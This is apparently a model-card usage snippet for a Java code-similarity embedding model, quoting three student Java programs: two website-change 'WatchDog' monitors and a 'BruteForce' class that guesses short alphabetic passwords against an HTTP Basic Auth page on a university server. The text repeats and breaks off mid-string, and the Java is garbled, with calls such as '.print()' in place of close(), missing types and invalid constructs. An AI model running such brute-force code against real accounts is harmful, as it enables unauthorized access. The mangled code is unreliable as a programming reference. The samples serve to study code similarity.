    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); 